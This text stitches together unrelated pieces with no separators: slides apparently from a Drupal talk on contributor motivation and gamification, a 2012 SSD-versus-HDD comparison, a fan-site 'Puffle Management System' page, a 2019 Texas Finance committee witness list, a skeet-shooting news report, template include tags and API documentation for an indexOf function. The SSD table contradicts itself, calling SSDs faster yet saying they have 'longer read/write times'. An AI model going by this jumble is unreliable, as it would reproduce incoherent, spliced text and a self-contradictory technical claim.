Extrinsic vs. Intrinsic Motivation
Extrinsic Motivation
Carrots and Sticks
Intrinsic Motivation
Motivation is internally generated
You do it for its own sake
Extrinsic vs. Intrinsic Motivation
Examples
Smokers who value themselves instead of what others think of them are more likely to quit
Students who are already intrinsically motivated to do a task can be "turned off" by superfluous rewards.
The entire open source movement!
Motivation in Open Source
Dan Pink - Drive: The surprising truth about what motivates us
Gamification & Badges
Extrinsic motivators aren't all bad though...
For short, non-complex tasks, extrinsic motivators work really well
Example: Autodesk Free Trial Gamification
Gamification & Badges
Badges and achievements have been shown to increase educational engagement in digital learning environments
Poorly designed badges can have the adverse effect
Key Point: Well-designed gamification can get users in the door, and help with simple repetitive tasks.
Agenda
Our stories
The research
Drupal community tools
The Module Off
Tools from other communities
Call to action
Certified to Rock
Built by Greg Knaddison, Ben Jeavons, and the folks at Growing Venture Solutions
Formed out of the debate over a Drupal "certification"
Gives a score to a D.O username based on contributions
Drupal.org User Pages
Lists contributions, posts, commits
Badges for membership in the DA
IRC Karma
Druplicon++
Crowdsourced Reputation Score
Agenda
Our stories
The research
Drupal community tools
The Module Off
Tools from other communities
Call to action
The Module Off
2 Week Drupal Development Challenges
Prizes from Drupal Vendors
Submissions are made public when the challenge closes
>300 Users
The Idea
I have a bad habit of late night domain registrations
Other than a bit of time, cost neutral
All I have to do it market it
Implementation
A couple weeks of free time to develop it
Responsive - Omega
Twitter & MailChimp integration
Drupal Planet Blog
Challenges
International Contests...yikes!
Who the heck am I to judge these modules?!
Fading interest...
Skepticism
"This guy is just looking to get his work done for free"
Successes
11 Submissions for the 1st Challenge
Found sponsors for 10 different challenges
Drush Issue Queue Extras
"The Module Off Drush challenge was the perfect motivation for me to finally pick up this idea and implement it. Due to my limited time, I had to pick something that I thought I would implement eventually anyway, but without the motivation of the competition, it might have been a long time before I managed to get to it." - Greg.1.Anderson
Ongoing Issues
Seeking Co-Maintainers
Moar sponsors!!!!1
Agenda
Our stories
The research
Drupal community tools
The Module Off
Tools from other communities
Call to action
UbuntuForums - # of Post Classifications
Visual (coffee-based) representation of experience
Based on number of posts
Stack Overflow - Reputation
Reputation is built both by posting and be being upvoted
Scales nicely, not easily gamed
Dribbble
Design-oriented community
'Favorites' and 'Buckets'
Followers
Agenda
Our stories
The research
Drupal community tools
The Module Off
Tools from other communities
Call to action
So What?
As the user community (and codebase) grows, we need more devs working with core.
We've got great tools for mentoring new contributors...
but what do we have to motivate them? Or to keep them going?
Add indicators of longevity and contribution level throughout D.O


Comparison
Pricing
As of 2012, SSDs are still more expensive per gigabyte than hard drives but prices for SSDs have fallen substantially in recent months. Whereas hard drives are around $0.10/GB for 3.5", or $0.20 for 2.5", an SSD is about $0.80/GB. This is down from ~$2/GB in early 2012. *
* from diffen.comThis table from Diffen.com shows a comparison between technical aspects of HDDs and SSDs. As you can see SSDs win in every technical category. Solid state drives are the way of the future, and as prices continue to drop substantially, it will not be too long until Hard Drives are comparible to floppy disks- a way of the past.
Popular places to purchase Solid State Drives in Canada include:
| Hard Disk Drive | Solid State Drive | |
|---|---|---|
| Speed: | HDD has higher latency, longer read/write times, and supports fewer IOPs (input output operations per second) compared to SSD. | SSD has lower latency, longer read/write times, and supports more IOPs (input output operations per second) compared to HDD. |
| Heat, Electricity, Noise: | Hard disk drives use more electricity to rotate the platters, generating heat and noise. | Since no such rotation is needed in solid state drives, they use less power and do not generate heat or noise. |
| Defragmentation: | The performance of HDD drives worsens due to fragmentation; therefore, they need to be periodically defragmented. | SSD drive performance is not impacted by fragmentation. So defragmentation is not necessary. |
| Components: | HDD contains moving parts - a motor-driven spindle that holds one or more flat circular disks (called platters) coated with a thin layer of magnetic material. Read-and-write heads are positioned on top of the disks; all this is encased in a metal cas | SSD has no moving parts; it is essentially a memory chip. It is interconnected, integrated circuits (ICs) with an interface connector. There are three basic components - controller, cache and capacitor. |
| Weight: | HDDs are heavier than SSD drives. | SSD drives are lighter than HDD drives because they do not have the rotating disks, spindle and motor. |
| Dealing with vibration: | The moving parts of HDDs make them susceptible to crashes and damage due to vibration. | SSD drives can withstand vibration up to 2000Hz, which is much more than HDD. |


Welcome to highly professional online, CPPS-Puflle-Management System.
Visit, #Puffle - to enter Puffle Management System, But this is currently going through Beta-3.4
Username:
Email :
Coins :
Rank :
Color :
Head :
Face :
Neck :
Body :
Hand :
Feet :
Photo :
Flag :
Our CPPS And this Theme gives you the best Simplicity and has Friendly UI. This makes you, Gives you, A sweetness and mind-blowing appearance! Yep! It's Tasty :P


WITNESS LIST
Finance
January 24, 2019 9:00 AM
AGAINST:
Heimlich, Ed (also providing written testimony) (Self)
ON:
Benjamin, Daniel Acting Chief Financial Officer (also providing written testimony) (Texas
Facilities Commission), Austin, TX
Carrales, Nancy N. Executive Director Homeland Security Grants Division (also providing
written testimony) (Office of the Governor), Austin, TX
Conklin, Lena LBB Staff (also providing written testimony) (LBB)
DePrang, Jo Policy Research Associate (also providing written testimony) (Children's
Defense Fund)
Deviney, Lee Executive Director (also providing written testimony) (Texas Public Finance
Authority)
Figueroa, Luis Legislative and Policy Director (also providing written testimony) (Center
For Public Policy Priorities), Austin, TX
Friesen, Mara IV-D Director (also providing written testimony) (Office of the Attorney
General), Austin, TX
Hale, Jordan Deputy Chief of Staff (Office of the Governor)
Ingram, Keith Director, Elections Division (also providing written testimony) (Texas
Secretary of State), Austin, TX
Kaiser, Chris Public Policy Director (Texas Association Against Sexual Assault), Austin,
TX
Kimbriel, Todd Deputy Executive Director (also providing written testimony) (Department
of Information Resoures), Austin, TX
Ladner, Gerald Board Member (also providing written testimony) (State Office of Risk
Management)
Latsha, Rob Executive Director (also providing written testimony) (Bond Review Board)
Lowe, Louellen LBB Staff (also providing written testimony) (LBB)
Manning, Ramon Board member (also providing written testimony) (Texas Public Finance
Authority)
Mateer, Jeff First Assistant Attorney General (also providing written testimony) (Office of
the Attorney General), Austin, TX
McGeady, John LBB Staff (also providing written testimony) (LBB)
Menendez, Fatima Legislative Attorney (MALDEF), S.A., TX
Montgomery, John LBB Staff (also providing written testimony) (LBB)
Nau III, John L. Chairman, Texas Historical Commission (also providing written
testimony) (THC)
Novak, Mike Executive Director (also providing written testimony) (Texas Facilities
Commission), Austin, TX
Paxton, The Honorable Ken Texas Attorney General (also providing written testimony)
(Office of the Attorney General), Austin, TX
Raff, John Deputy Executive Director Facilities Design & Construction (also providing
written testimony) (Texas Facilities Commission), Austin, TX
Rainosek, Nancy Chief Infomation Security Officer (also providing written testimony)
(Dept of Information Resources), Austin
WITNESS LIST
Finance
January 24, 2019 9:00 AM
Smith, Jordan LBB Staff (also providing written testimony) (LBB)
Stvey, Yolanda HUB Director (also providing written testimony) (Texas Facilities
Commission), Austin, TX
Villalpando, Nick Chief Financial Officer/ Interim Executive Director (also providing
written testimony) (Department of Information Resources), Austin, TX
Vollbrecht, Stephen Executive Director (also providing written testimony) (State Office of
Risk Management)
Whitley, David Secretary of State (also providing written testimony) (Office of the
Secretary of State)
Wolens, Steve Atty (also providing written testimony) (on behalf of Texas Ethics
Commission), Dallas
Wolfe, Mark Executive Director (also providing written testimony) (Texas Historical
Commission), Austin
Registering, but not testifying:
ON:
Cargile, Stuart Chief Financial Officer (State Office of Risk Management), Austin, TX
Erben, Randall H. Commissioner, Texas Ethics Commisson (Texas Ethics Commission),
Austin, TX
Esparza, Jose Deputy Secretary of State (SOS Office)
Espinosa, Nicholas Deputy Director of Enforcement (Texas Ethics Commission), Austin,
TX
Haug, Jessie Director CSD and DFS (Texas Ethics Commission), Austin, TX
Hernandez, Cristina Director of Finance & Administration (Texas Ethics Commission),
Austin, TX
Perryman, John CFO (Texas Bond Review Board), Austin, TX
Price, Michele Controller (Office of the Attorney General), Austin, TX
Steusloff, Ian General Counsel (Texas Ethics Commission), Austin, TX
Verdugo, Matt Executive Director (Texas Holocaust and Genocide Commission)
Willing, Seana Executive Director (Texas Ethics Commission), Austin, TX
Providing written testimony:
ON:
Decker, Dan President & CEO (Texas Travel Industry Association), Austin, TX
Rubin, Stephanie CEO (Texans Care for Children), Austin, TX
Torres, Sophie SAHCC Vice President of Government Affairs (San Antonio Hispanic
Chamber of Commerce), San Antonio, TX


Shooting: Angad Bajwa pips Mairaj to win gold in skeet nationals, Saniya Sheikh bags third title
by Scroll StaffAngad Vir Singh Bajwa unofficially hit a world record score in the men’s skeet final to lead Punjab’s domination of the category at the 63rd National Shooting Championships for Shotgun events on Friday.
Angad held off his senior and fellow Tokyo 2020 quota winner Mairaj Ahmad Khan of Uttar Pradesh, shooting a clean 60 to equal a record he also officially jointly holds with skeet legend Vincent Hancock and two others.
Mairaj missed a couple of targets to yet again go down to the youngster after the now famous quota-winning 1-2 run by the duo earlier this month at the Asian championships in Qatar. Mairaj also had a splendid day, shooting a world record himself, a perfect 125 in qualifying to breeze into the final. Both Angad and Mairaj will be credited with national records, however.
Saniya Sheikh stopped the Punjab juggernaut, bagging her third national title winning the women’s skeet event in a shoot-off with state-mate Areeba Khan 10-8. Abhay Singh Sekhon and Parnaaz Dhaliwal of Punjab also won the junior men’s and women’s skeet golds respectively.
Read Comments


{% include nav-header.html %} {% include navbar-header.html %} Home (current) {% include dropdown.html description='managedIP Hosted' category='managedip-hosted' permalink='managedip-hosted' %} {% include dropdown.html description='Resources' category='resources' permalink='resources' %} {% include list-item.html description='Case Studies' permalink='case-studies/case-studies' %} {% include dropdown.html description='Why fre' category='why-fre' permalink='why-fre' %}


Methods
(inner) indexOf(map, buffer, indexopt, lengthopt, offsetopt) → {number}
Tradition indexOf type call.
This uses caching for the lookup map and function, it can be pretty inificiate if you are using a different map objects, even if they have the same items in them.
Parameters:
| Name | Type | Attributes | Description |
|---|---|---|---|
map |
Map | Object | the map of tokens |
|
buffer |
Buffer | buffer to search |
|
index |
number |
<optional> |
starting index |
length |
number |
<optional> |
ending index |
offset |
number |
<optional> |
subtracted from all indexes to allow for partial buffer searching |
- Source:
Returns:
- the index of the fould token
- Type
- number
(inner) indexOfCreate(map) → {indexOf}
Generate a indexOf function for the given map
This uses caching for the lookup map and function, it can be pretty inificiate if you are using a different map objects, even if they have the same items in them.
Parameters:
| Name | Type | Description |
|---|---|---|
map |
Map | Object | the map of tokens partial buffer searching |
- Source:
Returns:
- the indexOf function
- Type
- indexOf
Type Definitions
indexOf(buffer, indexopt, lengthopt, offsetopt) → {token}
An IndexOf items function
This uses caching for the lookup map and function, it can be pretty inificiate if you are using a different map objects, even if they have the same items in them.
Parameters:
| Name | Type | Attributes | Description |
|---|---|---|---|
buffer |
Buffer | buffer to search. |
|
index |
number |
<optional> |
starting index. |
length |
number |
<optional> |
ending inde . |
offset |
number |
<optional> |
subtracted from all indexes to allow for partial buffer searching. |
Properties:
| Name | Type | Description |
|---|---|---|
lastIndex |
number | the index to start from (pre call) and ended at (post call). |
index |
number | the index of the token found. |
- Source:
Returns:
- the index of the fould token.
- Type
- token